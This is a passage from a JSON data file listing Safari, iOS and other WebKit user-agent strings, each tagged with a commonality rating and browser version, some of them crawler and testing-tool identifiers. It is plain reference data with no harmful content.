AppleWebKit\\/601.7.7 (KHTML, like Gecko) Safari\\/601.6.17\"},{\"commonality\":\"Uncommon\",\"version\":\"11\",\"ua\":\"Mozilla\\/5.0 (iPhone; CPU iPhone OS 11_0 like Mac OS X) AppleWebKit\\/604.1.25 (KHTML, like Gecko) Version\\/11.0 Mobile\\/15A5304i Safari\\/604.1\"},{\"commonality\":\"Uncommon\",\"version\":\"4.1\",\"ua\":\"Mozilla\\/5.0 (Macintosh; U; Intel Mac OS X 10_4_11; ja-jp) AppleWebKit\\/533.19.4 (KHTML, like Gecko) Version\\/4.1.3 Safari\\/533.19.4\"},{\"commonality\":\"Uncommon\",\"version\":\"9\",\"ua\":\"Mozilla\\/5.0 (iPod touch; CPU iPhone OS 9_3_3 like Mac OS X) AppleWebKit\\/601.1.46 (KHTML, like Gecko) Version\\/9.0 Mobile\\/13G34 Safari\\/601.1\"},{\"commonality\":\"Uncommon\",\"version\":\"6\",\"ua\":\"Mozilla\\/5.0 (iPad; CPU OS 6_0 like Mac OS X) AppleWebKit\\/536.26 (KHTML, like Gecko) Version\\/6.0 Mobile\\/10A407 Safari\\/8536.25\"},{\"commonality\":\"Uncommon\",\"version\":\"\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.1; WOW64) AppleWebKit\\/537.36 (KHTML, like Gecko) Superbird\\/56.0.2924.87 Safari\\/537.36\"},{\"commonality\":\"Uncommon\",\"version\":\"5\",\"ua\":\"Mozilla\\/5.0 (iPhone; U; CPU iPhone OS 4_3 like Mac OS X; en-us) AppleWebKit\\/533.17.9 (KHTML, like Gecko) Version\\/5.0.2 Mobile\\/8F190 Safari\\/6533.18.5\"},{\"commonality\":\"Uncommon\",\"version\":\"10.1\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit\\/603.3.6 (KHTML, like Gecko) Version\\/10.1.2 Safari\\/603.3.6\"},{\"commonality\":\"Uncommon\",\"version\":\"5\",\"ua\":\"Mozilla\\/5.0 (Macintosh; U; Intel Mac OS X 10_6_8; ko-kr) AppleWebKit\\/533.21.1 (KHTML, like Gecko) Version\\/5.0.5 Safari\\/533.21.1\"},{\"commonality\":\"Uncommon\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Macintosh; U; Intel Mac OS X 10_6_2; en-us) AppleWebKit\\/531.21.8 (KHTML, like Gecko) Version\\/4.0.4 Safari\\/531.21.10 FBSMTWB\"},{\"commonality\":\"Uncommon\",\"version\":\"5.1\",\"ua\":\"Mozilla\\/5.0 (Macintosh; U; Intel Mac OS X 10_7; en-us) AppleWebKit\\/534.20.8 (KHTML, like Gecko) Version\\/5.1 Safari\\/534.20.8\"},{\"commonality\":\"Uncommon\",\"version\":\"\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10_12_5) AppleWebKit\\/603.2.4 (KHTML, like Gecko) Safari\\/601.6.17\"},{\"commonality\":\"Uncommon\",\"version\":\"9\",\"ua\":\"Mozilla\\/5.0 (iPod touch; CPU iPhone OS 9_3_4 like Mac OS X) AppleWebKit\\/601.1.46 (KHTML, like Gecko) Version\\/9.0 Mobile\\/13G35 Safari\\/601.1\"},{\"commonality\":\"Uncommon\",\"version\":\"5\",\"ua\":\"Mozilla\\/5.0 (iPhone; U; CPU iPhone OS 4_3 like Mac OS X; en-gb) AppleWebKit\\/533.17.9 (KHTML, like Gecko) Version\\/5.0.2 Mobile\\/8F190 Safari\\/6533.18.5 Zetakey\\/3.2\"},{\"commonality\":\"Uncommon\",\"version\":\"10\",\"ua\":\"Mozilla\\/5.0 (iPod touch; CPU iPhone OS 10_3_1 like Mac OS X) AppleWebKit\\/603.1.30 (KHTML, like Gecko) Version\\/10.0 Mobile\\/14E304 Safari\\/602.1\"},{\"commonality\":\"Uncommon\",\"version\":\"\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10_12_3) AppleWebKit\\/602.4.8 (KHTML, like Gecko) Safari\\/531.9\"},{\"commonality\":\"Uncommon\",\"version\":\"\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.1; WOW64) AppleWebKit\\/534.34 (KHTML, like Gecko) PhantomJS\\/1.9.0 Safari\\/534.34 Siteimprove (Accessibility)\"},{\"commonality\":\"Uncommon\",\"version\":\"10.1\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10_12_5) AppleWebKit\\/603.2.2 (KHTML, like Gecko) Version\\/10.1.1 Safari\\/603.2.2\"},{\"commonality\":\"Uncommon\",\"version\":\"\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.1; WOW64) AppleWebKit\\/534.34 (KHTML, like Gecko) PhantomJS\\/1.9.7 Safari\\/534.34\"},{\"commonality\":\"Uncommon\",\"version\":\"3\",\"ua\":\"Mozilla\\/5.0 (Macintosh; U; PPC Mac OS X; en) AppleWebKit\\/523.12 (KHTML, like Gecko) Version\\/3.0.4 Safari\\/523.12\"},{\"commonality\":\"Uncommon\",\"version\":\"\",\"ua\":\"Mozilla\\/5.0 (Macintosh; U; PPC Mac OS X; en) AppleWebKit\\/312.9 (KHTML, like Gecko) Safari\\/312.6\"},{\"commonality\":\"Uncommon\",\"version\":\"8\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit\\/600.2.5 (KHTML, like Gecko) Version\\/8.0.2 Safari\\/600.2.5 (Getter\\/0.1)\"},{\"commonality\":\"Uncommon\",\"version\":\"10.1\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10_12_4) AppleWebKit\\/603.1.29 (KHTML, like Gecko) Version\\/10.1 Safari\\/603.1.29\"},{\"commonality\":\"Uncommon\",\"version\":\"7\",\"ua\":\"Mozilla\\/5.0 (iPad; CPU OS 7_0_2 like Mac OS X) AppleWebKit\\/537.51.1 (KHTML, like Gecko) Version\\/7.0 Mobile\\/11A465 Safari\\/9537.53\"},{\"commonality\":\"Uncommon\",\"version\":\"5\",\"ua\":\"Mozilla\\/5.0 (iPad; U; CPU OS 4_3 like Mac OS X; en-us) AppleWebKit\\/533.17.9 (KHTML, like Gecko) Version\\/5.0.2 Mobile\\/8F191 Safari\\/6533.18.5 electricmobilesimulator\"},{\"commonality\":\"Uncommon\",\"version\":\"1.0\",\"ua\":\"Mozilla\\/5.0 (webOS\\/1.0; U; en-US) AppleWebKit\\/525.27.1 (KHTML, like Gecko) Version\\/1.0 Safari\\/525.27.1 Pre\\/1.0\"},{\"commonality\":\"Uncommon\",\"version\":\"10.1\",\"ua\":\"Mozilla\\/5.0 (iPhone; CPU OS 10_3_2 like Mac OS X) AppleWebKit\\/603.2.4 (KHTML, like Gecko) Version\\/10.1 Mobile\\/14F89 Safari\\/602.1\"},{\"commonality\":\"Uncommon\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Macintosh; U; Intel Mac OS X 10_5_8; fr-fr) AppleWebKit\\/530.19.2 (KHTML, like Gecko) Version\\/4.0.2 Safari\\/530.19\"},{\"commonality\":\"Uncommon\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Macintosh; U; Intel Mac OS X 10_5_8; en-us) AppleWebKit\\/531.21.8 (KHTML, like Gecko) Version\\/4.0.4 Safari\\/531.21.10 FBSMTWB\"},{\"commonality\":\"Uncommon\",\"version\":\"10.1\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10_12_5) AppleWebKit\\/603.2.3 (KHTML, like Gecko) Version\\/10.1.1 Safari\\/603.2.3\"},{\"commonality\":\"Uncommon\",\"version\":\"6\",\"ua\":\"Mozilla\\/5.0 (iPhone; CPU iPhone OS 6_0 like Mac OS X) AppleWebKit\\/536.26 (KHTML, like Gecko) Version\\/6.0 Mobile\\/10A5376e Safari\\/8536.25 (compatible; SemrushBot-SA\\/0.97; +http:\\/\\/www.semrush.com\\/bot.html)\"},{\"commonality\":\"Uncommon\",\"version\":\"11\",\"ua\":\"Mozilla\\/5.0 (iPhone; CPU iPhone OS 11_2 like Mac OS X) AppleWebKit\\/604.4.5 (KHTML, like Gecko) Version\\/11.0 Mobile\\/15C5092b Safari\\/604.1\"},{\"commonality\":\"Uncommon\",\"version\":\"9\",\"ua\":\"Mozilla\\/5.0 (iPhone; CPU iPhone OS 9_3_3 like Mac OS X) AppleWebKit\\/601.1.46 (KHTML, like Gecko) Version\\/9.0 Mobile\\/13G21 Safari\\/601.1\"},{\"commonality\":\"Uncommon\",\"version\":\"11\",\"ua\":\"Mozilla\\/5.0 (iPod touch; CPU iPhone OS 11_2_5 like Mac OS X) AppleWebKit\\/604.5.6 (KHTML, like Gecko) Version\\/11.0 Mobile\\/15D60 Safari\\/604.1\"},{\"commonality\":\"Uncommon\",\"version\":\"6.2\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10_8_5) AppleWebKit\\/600.4.10 (KHTML, like Gecko) Version\\/6.2.4 Safari\\/537.85.13\"},{\"commonality\":\"Uncommon\",\"version\":\"8\",\"ua\":\"Mozilla\\/5.0 (iPhone; CPU iPhone OS 8_3 like Mac OS X) AppleWebKit\\/537.36 (KHTML, like Gecko; Google Page Speed Insights) Version\\/8.0 Mobile\\/12F70 Safari\\/600.1.4\"},{\"commonality\":\"Uncommon\",\"version\":\"5\",\"ua\":\"Mozilla\\/5.0 (Macintosh; U; Intel Mac OS X 10_6_6; en-us) AppleWebKit\\/533.19.4 (KHTML, like Gecko) Version\\/5.0.3 Safari\\/533.19.4\"},{\"commonality\":\"Uncommon\",\"version\":\"11\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10_13) AppleWebKit\\/604.1.31 (KHTML, like Gecko) Version\\/11.0 Safari\\/604.1.31\"},{\"commonality\":\"Uncommon\",\"version\":\"9.1\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit\\/601.7.6 (KHTML, like Gecko) Version\\/9.1.2 Safari\\/601.7.6\"},{\"commonality\":\"Uncommon\",\"version\":\"5\",\"ua\":\"Mozilla\\/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit\\/533.19.4 (KHTML, like Gecko) Version\\/5.0.2 Safari\\/533.18.5\"},{\"commonality\":\"Uncommon\",\"version\":\"8\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10_10_3) AppleWebKit\\/600.4.10 (KHTML, like Gecko) Version\\/8.0.4 Safari\\/600.4.10\"},{\"commonality\":\"Uncommon\",\"version\":\"11\",\"ua\":\"Mozilla\\/5.0 (iPod touch; CPU iPhone OS 11_0_1 like Mac OS X) AppleWebKit\\/604.1.38 (KHTML, like Gecko) Version\\/11.0 Mobile\\/15A402 Safari\\/604.1\"},{\"commonality\":\"Uncommon\",\"version\":\"10.1\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit\\/601.7.8 (KHTML, like Gecko) Version\\/10.1.1 Safari\\/603.2.5\"},{\"commonality\":\"Uncommon\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Macintosh; U; Intel Mac OS X 10_6_2; en-us) AppleWebKit\\/531.9 (KHTML, like Gecko) Version\\/4.0.3 Safari\\/531.9\"},{\"commonality\":\"Uncommon\",\"version\":\"9\",\"ua\":\"Mozilla\\/5.0 (iPhone; CPU iPhone OS 9_3_2 like Mac OS X) AppleWebKit\\/601.1.46 (KHTML, like Gecko) Version\\/9.0 Mobile\\/13F51a Safari\\/601.1\"},{\"commonality\":\"Uncommon\",\"version\":\"5\",\"ua\":\"Mozilla\\/5.0 (Windows; U; Windows NT 6.1; de-DE) AppleWebKit\\/533.21.1 (KHTML, like Gecko) Version\\/5.0.5 Safari\\/533.21.1\"},{\"commonality\":\"Uncommon\",\"version\":\"9\",\"ua\":\"Mozilla\\/5.0 (iPad; CPU OS 9_1 like Mac OS X) AppleWebKit\\/536.26 (KHTML, like Gecko) Version\\/9.0 Mobile\\/10A5355d Safari\\/8536.25\"},{\"commonality\":\"Uncommon\",\"version\":\"6\",\"ua\":\"Mozilla\\/5.0 (iPhone; CPU iPhone OS 6_0_1 like Mac OS X) AppleWebKit\\/537.36 (KHTML, like Gecko; Google Page Speed Insights) Version\\/6.0 Mobile\\/10A525 Safari\\/8536.25\"},{\"commonality\":\"Uncommon\",\"version\":\"4.1\",\"ua\":\"Mozilla\\/5.0 (Macintosh; U; PPC Mac OS X 10_4_11; it-it) AppleWebKit\\/533.19.4 (KHTML, like Gecko) Version\\/4.1.3 Safari\\/533.19.4\"},{\"commonality\":\"Uncommon\",\"version\":\"5\",\"ua\":\"Mozilla\\/5.0 (Macintosh; U; Intel Mac OS X 10_6_4; en-us) AppleWebKit\\/533.16 (KHTML, like Gecko) Version\\/5.0 Safari\\/533.16\"},{\"commonality\":\"Uncommon\",\"version\":\"10\",\"ua\":\"Mozilla\\/5.0 (iPad; CPU OS 10_0 like Mac OS X) AppleWebKit\\/602.1.32 (KHTML, like Gecko) Version\\/10.0 Mobile\\/14A5261v Safari\\/602.1\"},{\"commonality\":\"Uncommon\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (iPhone; U; CPU iPhone OS 3_1_3 like Mac OS X; en-us) AppleWebKit\\/528.18 (KHTML, like Gecko) Version\\/4.0 Mobile\\/7E18 Safari\\/528.16\"},{\"commonality\":\"Uncommon\",\"version\":\"5\",\"ua\":\"Mozilla\\/5.0 (Macintosh; U; Intel Mac OS X 10_6_3; en-us) AppleWebKit\\/534.1+ (KHTML, like Gecko) Version\\/5.0 Safari\\/533.16\"},{\"commonality\":\"Uncommon\",\"version\":\"10\",\"ua\":\"Mozilla\\/5.0 (iPhone; CPU iPhone OS 10_2 like Mac OS X) AppleWebKit\\/602.3.3 (KHTML, like Gecko) Version\\/10.0 Mobile\\/14C5062e Safari\\/602.1\"},{\"commonality\":\"Uncommon\",\"version\":\"9\",\"ua\":\"Mozilla\\/5.0 (iPod touch; CPU iPhone OS 9_0_2 like Mac OS X) AppleWebKit\\/601.1.46 (KHTML, like Gecko) Version\\/9.0 Mobile\\/13A452 Safari\\/601.1\"},{\"commonality\":\"Uncommon\",\"version\":\"10.1\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit\\/601.7.8 (KHTML, like Gecko) Version\\/10.1.2 Safari\\/603.3.8\"},{\"commonality\":\"Uncommon\",\"version\":\"9.1\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10_11_4) AppleWebKit\\/602.1.27 (KHTML, like Gecko) Version\\/9.1.1 Safari\\/601.6.15\"},{\"commonality\":\"Uncommon\",\"version\":\"5\",\"ua\":\"Mozilla\\/5.0 (Windows; U; Windows NT 5.1; en-US; BOLT\\/2.800) AppleWebKit\\/534.6 (KHTML, like Gecko) Version\\/5.0 Safari\\/534.6.3\"},{\"commonality\":\"Uncommon\",\"version\":\"8.1\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10_11) AppleWebKit\\/601.1.27 (KHTML, like Gecko) Version\\/8.1 Safari\\/601.1.27\"},{\"commonality\":\"Uncommon\",\"version\":\"11\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10_13_1) AppleWebKit\\/604.3.4 (KHTML, like Gecko) Version\\/11.0.1 Safari\\/604.3.4\"},{\"commonality\":\"Uncommon\",\"version\":\"5.1\",\"ua\":\"Mozilla\\/5.0 (iPad; U; CPU OS 3_2 like Mac OS X; %lang2%) adbeat.com\\/policy AppleWebKit\\/531.21.10 (KHTML, like Gecko) Version\\/5.1 Mobile\\/9B206 Safari\\/7534.48.3\"},{\"commonality\":\"Uncommon\",\"version\":\"\",\"ua\":\"Mozilla\\/5.0 (iPad; CPU OS 6_1 like Mac OS X) AppleWebKit\\/536.26 (KHTML, like Gecko) Coast\\/1.0.2.62956 Mobile\\/10B141 Safari\\/7534.48.3\"},{\"commonality\":\"Uncommon\",\"version\":\"4.1\",\"ua\":\"Mozilla\\/5.0 (Macintosh; U; PPC Mac OS X 10_4_11; fr) AppleWebKit\\/533.19.4 (KHTML, like Gecko) Version\\/4.1.3 Safari\\/533.19.4\"},{\"commonality\":\"Uncommon\",\"version\":\"\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10_10_5) AppleWebKit\\/600.8.9 (KHTML, like Gecko) WebClip\\/10603.2.5 Safari\\/10603.2.5\"},{\"commonality\":\"Uncommon\",\"version\":\"6\",\"ua\":\"Mozilla\\/5.0 (Windows XP Pro x64) AppleWebKit\\/536.26 (KHTML, like Gecko) Version\\/6.0.6 Safari\\/536.26\"},{\"commonality\":\"Uncommon\",\"version\":\"10\",\"ua\":\"Mozilla\\/5.0 (iPad; CPU OS 10_0 like Mac OS X) AppleWebKit\\/602.1.38 (KHTML, like Gecko) Version\\/10.0 Mobile\\/14A300 Safari\\/602.1\"},{\"commonality\":\"Uncommon\",\"version\":\"5.1\",\"ua\":\"Mozilla\\/5.0 (iPad; CPU OS 5_0_1 like Mac OS X) qjyBrowser\\/77618.1.15526 AppleWebKit\\/534.46 (KHTML, like Gecko) Version\\/5.1 Mobile\\/9A405 Safari\\/7534.48.3\"},{\"commonality\":\"Uncommon\",\"version\":\"\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10_10_5) AppleWebKit\\/600.8.9 (KHTML, like Gecko) WebClip\\/10601.5.17 Safari\\/10601.5.17.4\"},{\"commonality\":\"Uncommon\",\"version\":\"5.1\",\"ua\":\"Mozilla\\/5.0 (iPod; CPU iPhone OS 5_1 like Mac OS X) AppleWebKit\\/534.46 (KHTML, like Gecko) Version\\/5.1 Mobile\\/9B176 Safari\\/7534.48.3\"},{\"commonality\":\"Uncommon\",\"version\":\"6\",\"ua\":\"Mozilla\\/5.0 (iPhone; CPU iPhone OS 6_0 like Mac OS X) AppleWebKit\\/536.26 (KHTML, like Gecko) Version\\/6.0 Mobile\\/10A405 Safari\\/8536.25\"},{\"commonality\":\"Uncommon\",\"version\":\"\",\"ua\":\"Mozilla\\/5.0 (Unknown; UNIX BSD\\/SYSV system) AppleWebKit\\/534.34 (KHTML, like Gecko) smtube\\/16.1.0 Safari\\/534.34\"},{\"commonality\":\"Uncommon\",\"version\":\"5.1\",\"ua\":\"Mozilla\\/5.0 (S3xyM0nk3y; CPU iPhone OS 5_1_1 like Mac OS X) AppleWebKit\\/534.46 (KHTML, like Gecko) Version\\/5.1 Mobile\\/9B206 Safari\\/7534.48.3\"},{\"commonality\":\"Uncommon\",\"version\":\"10.1\",\"ua\":\"Mozilla\\/5.0 (iPhone; CPU iPhone OS 11_0_2 like Mac OS X) AppleWebKit\\/604.1.38 (KHTML, like Gecko) Version\\/10.1 Mobile\\/15A421 Safari\\/602.1\"},{\"commonality\":\"Uncommon\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (iPad; U; CPU OS 3_2 like Mac OS X; en-us; CMP741E) AppleWebKit\\/531.21.10 (KHTML, like Gecko) Version\\/4.0.4 Mobile\\/7B367 Safari\\/531.21.10\"},{\"commonality\":\"Uncommon\",\"version\":\"10\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10_12_2) AppleWebKit\\/602.3.3 (KHTML, like Gecko) Version\\/10.0.2 Safari\\/602.3.3\"},{\"commonality\":\"Uncommon\",\"version\":\"5\",\"ua\":\"Mozilla\\/5.0 (iPad; U; CPU OS 5_0 like Mac OS X; en-us) AppleWebKit\\/534.46 (KHTML, like Gecko) Version\\/5.0.2 Mobile\\/9A5248d Safari\\/6533.18.5\"},{\"commonality\":\"Uncommon\",\"version\":\"9\",\"ua\":\"Mozilla\\/5.0 (iPhone; CPU iPhone OS 9_0 like Mac OS X) AppleWebKit\\/601.1.46 (KHTML, like Gecko) Version\\/9.0 Mobile\\/13A4325c Safari\\/601.1\"},{\"commonality\":\"Uncommon\",\"version\":\"11\",\"ua\":\"Mozilla\\/5.0 (iPhone; CPU iPhone OS 11_2_5 like Mac OS X) AppleWebKit\\/604.5.6 (KHTML, like Gecko) Version\\/11.0 Mobile\\/15D5057a Safari\\/604.1\"},{\"commonality\":\"Uncommon\",\"version\":\"\",\"ua\":\"Mozilla\\/5.0 (Macintosh; U; PPC Mac OS X; fi-fi) AppleWebKit\\/420+ (KHTML, like Gecko) Safari\\/419.3\"},{\"commonality\":\"Uncommon\",\"version\":\"11\",\"ua\":\"Mozilla\\/5.0 (iPod touch; CPU iPhone OS 11_1_2 like Mac OS X) AppleWebKit\\/604.3.5 (KHTML, like Gecko) Version\\/11.0 Mobile\\/15B202 Safari\\/604.1\"},{\"commonality\":\"Uncommon\",\"version\":\"9.1\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10_11_4) AppleWebKit\\/601.5.8 (KHTML, like Gecko) Version\\/9.1 Safari\\/601.5.8\"},{\"commonality\":\"Uncommon\",\"version\":\"10\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit\\/601.7.8 (KHTML, like Gecko) Version\\/10.0.1 Safari\\/602.2.14\"},{\"commonality\":\"Uncommon\",\"version\":\"\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10_12_2) AppleWebKit\\/602.3.12 (KHTML, like Gecko) Safari\\/522.0\"},{\"commonality\":\"Uncommon\",\"version\":\"9\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10_11_2) AppleWebKit\\/601.3.5 (KHTML, like Gecko) Version\\/9.0.2 Safari\\/601.3.5\"},{\"commonality\":\"Uncommon\",\"version\":\"\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10_10_5) AppleWebKit\\/600.8.9 (KHTML, like Gecko) WebClip\\/10601.6.11 Safari\\/10601.6.17\"},{\"commonality\":\"Uncommon\",\"version\":\"11\",\"ua\":\"Mozilla\\/5.0 (iPhone; CPU iPhone OS 11_2 like Mac OS X) AppleWebKit\\/604.4.6 (KHTML, like Gecko) Version\\/11.0 Mobile\\/15C5097d Safari\\/604.1\"},{\"commonality\":\"Uncommon\",\"version\":\"6.2\",\"ua\":\"Mozilla\\/5.0 (Macintosh; PPC Mac OS X 10_5_8) AppleWebKit\\/600.8.9 (KHTML, like Gecko) Version\\/6.2.8 Safari\\/537.85.17\"},{\"commonality\":\"Uncommon\",\"version\":\"9\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10_11_3) AppleWebKit\\/601.4.2 (KHTML, like Gecko) Version\\/9.0.3 Safari\\/601.4.2\"},{\"commonality\":\"Uncommon\",\"version\":\"5\",\"ua\":\"Mozilla\\/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit\\/533.21.1 (KHTML, like Gecko) Version\\/5.0.5 Safari\\/533.21.1\"},{\"commonality\":\"Uncommon\",\"version\":\"11\",\"ua\":\"Mozilla\\/5.0 (iPad; CPU OS 11_0 like Mac OS X) AppleWebKit\\/604.1.38 (KHTML, like Gecko) Version\\/11.0 Mobile\\/15A5354b Safari\\/604.1\"},{\"commonality\":\"Uncommon\",\"version\":\"11\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10_12_5) AppleWebKit\\/604.3.5 (KHTML, like Gecko) Version\\/11.0.1 Safari\\/604.3.5\"},{\"commonality\":\"Uncommon\",\"version\":\"5\",\"ua\":\"Mozilla\\/5.0(iPad; U; CPU OS 4_3 like Mac OS X; %lang2%) adbeat.com\\/policy AppleWebKit\\/533.17.9 (KHTML, like Gecko) Version\\/5.0.2 Mobile\\/8F191 Safari\\/6533.18.5\"},{\"commonality\":\"Uncommon\",\"version\":\"5\",\"ua\":\"Mozilla\\/5.0 (Macintosh; U; Intel Mac OS X 10_6_6; en-us) AppleWebKit\\/533.18.1 (KHTML, like Gecko) Version\\/5.0.2 Safari\\/533.18.5\"},{\"commonality\":\"Uncommon\",\"version\":\"10\",\"ua\":\"Mozilla\\/5.0 (iPad; CPU OS 10_3_2 like Mac OS X) AppleWebKit\\/603.2.4 (KHTML, like Gecko) Version\\/10.0 Mobile\\/14F91 Safari\\/602.1\"},{\"commonality\":\"Uncommon\",\"version\":\"5\",\"ua\":\"Mozilla\\/5.0 (iPod; U; CPU iPhone OS 4_2_1 like Mac OS X; es-es) AppleWebKit\\/533.17.9 (KHTML, like Gecko) Version\\/5.0.2 Mobile\\/8C148 Safari\\/6533.18.5\"},{\"commonality\":\"Uncommon\",\"version\":\"\",\"ua\":\"Mozilla\\/5.0 (iPhone Simulator; CPU iPhone OS 5_0 like Mac OS X) AppleWebKit\\/534.46 (KHTML, like Gecko) Mobile\\/9A334 Sangfulli Mobile Safari\"},{\"commonality\":\"Uncommon\",\"version\":\"9\",\"ua\":\"Mozilla\\/5.0 (iPhone; CPU iPhone OS 9_3_3 like Mac OS X) AppleWebKit\\/601.1.46 (KHTML, like Gecko) Version\\/9.0 Mobile\\/13G12 Safari\\/601.1\"},{\"commonality\":\"Uncommon\",\"version\":\"10\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10_12_3) AppleWebKit\\/602.4.2 (KHTML, like Gecko) Version\\/10.0.3 Safari\\/602.4.2\"},{\"commonality\":\"Uncommon\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Macintosh; U; Intel Mac OS X 10_5_7; en) AppleWebKit\\/530.19.2 (KHTML, like Gecko) Version\\/4.0.2 Safari\\/530.19.2\"},{\"commonality\":\"Uncommon\",\"version\":\"\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.0; WOW64) AppleWebKit\\/534.34 (KHTML, like Gecko) PhantomJS\\/1.9.2 Safari\\/534.34\"},{\"commonality\":\"Uncommon\",\"version\":\"7\",\"ua\":\"Mozilla\\/5.0 (iPad; CPU OS 5_1 like Mac OS X; %lang2%) adbeat.com\\/policy AppleWebKit\\/534.46 (KHTML, like Gecko) Version\\/7.0 Mobile\\/11A465 Safari\\/9537.53\"},{\"commonality\":\"Uncommon\",\"version\":\"11\",\"ua\":\"Mozilla\\/5.0 (iPod touch; CPU iPhone OS 11_2_6 like Mac OS X) AppleWebKit\\/604.5.6 (KHTML, like Gecko) Version\\/11.0 Mobile\\/15D100 Safari\\/604.1\"},{\"commonality\":\"Uncommon\",\"version\":\"9.1\",\"ua\":\"Mozilla\\/5.0 (Macintosh Intel Mac OS X 10_11_5) AppleWebKit\\/601.6.17 (KHTML, like Gecko) Version\\/9.1.1 Safari\\/601.6.17\"},{\"commonality\":\"Uncommon\",\"version\":\"5\",\"ua\":\"Mozilla\\/5.0 (Windows; U; Windows NT 5.2; en-US) AppleWebKit\\/533.17.8 (KHTML, like Gecko) Version\\/5.0.1 Safari\\/533.17.8\"},{\"commonality\":\"Uncommon\",\"version\":\"6\",\"ua\":\"Mozilla\\/5.0 (Windows; U; Windows NT 6.2; es-US ) AppleWebKit\\/540.0 (KHTML like Gecko) Version\\/6.0 Safari\\/8900.00\"},{\"commonality\":\"Uncommon\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10_5_8) AppleWebKit\\/534.50.2 (KHTML, like Gecko) Version\\/4.0.2 Safari\\/530.19\"},{\"commonality\":\"Uncommon\",\"version\":\"10\",\"ua\":\"Mozilla\\/5.0 (iPad; CPU OS 10_3_1 like Mac OS X) AppleWebKit\\/603.1.30 (KHTML, like Gecko) Version\\/10.0 Mobile\\/14E8301 Safari\\/602.1\"},{\"commonality\":\"Uncommon\",\"version\":\"10\",\"ua\":\"Mozilla\\/5.0 (iPhone; CPU iPhone OS 10_2_1 like Mac OS X) AppleWebKit\\/602.4.2 (KHTML, like Gecko) Version\\/10.0 Mobile\\/14D10 Safari\\/602.1\"},{\"commonality\":\"Uncommon\",\"version\":\"6\",\"ua\":\"Mozilla\\/5.0 (iPad; CPU OS 6_0_2 like Mac OS X) AppleWebKit\\/536.26 (KHTML, like Gecko) Version\\/6.0 Mobile\\/10A550 Safari\\/8536.25\"},{\"commonality\":\"Uncommon\",\"version\":\"5\",\"ua\":\"Mozilla\\/5.0 (iPhone; U; CPU iPhone OS 4_2_1 like Mac OS X; en-us) AppleWebKit\\/533.17.9 (KHTML, like Gecko) Version\\/5.0.2 Mobile\\/8C148a Safari\\/6533.18.5\"},{\"commonality\":\"Uncommon\",\"version\":\"11\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10_13) AppleWebKit\\/604.1.28 (KHTML, like Gecko) Version\\/11.0 Safari\\/604.1.28\"},{\"commonality\":\"Uncommon\",\"version\":\"6\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10_8_3) AppleWebKit\\/536.28.4 (KHTML, like Gecko) Version\\/6.0.3 Safari\\/536.28.4\"},{\"commonality\":\"Uncommon\",\"version\":\"10\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10_12_1) AppleWebKit\\/602.2.7 (KHTML, like Gecko) Version\\/10.0.1 Safari\\/602.2.7\"},{\"commonality\":\"Uncommon\",\"version\":\"3\",\"ua\":\"Mozilla\\/5.0 (iPod; U; CPU like Mac OS X; en) AppleWebKit\\/420.1 (KHTML, like Gecko) Version\\/3.0 Mobile\\/3A101a Safari\\/419.3\"},{\"commonality\":\"Uncommon\",\"version\":\"10\",\"ua\":\"Mozilla\\/5.0 (iPhone; CPU iPhone OS 10_0 like Mac OS X) AppleWebKit\\/602.1.50 (KHTML, like Gecko) Version\\/10.0 Mobile\\/14A5341a Safari\\/602.1\"},{\"commonality\":\"Uncommon\",\"version\":\"10\",\"ua\":\"Mozilla\\/5.0 (iPhone; CPU iPhone OS 10_1 like Mac OS X) 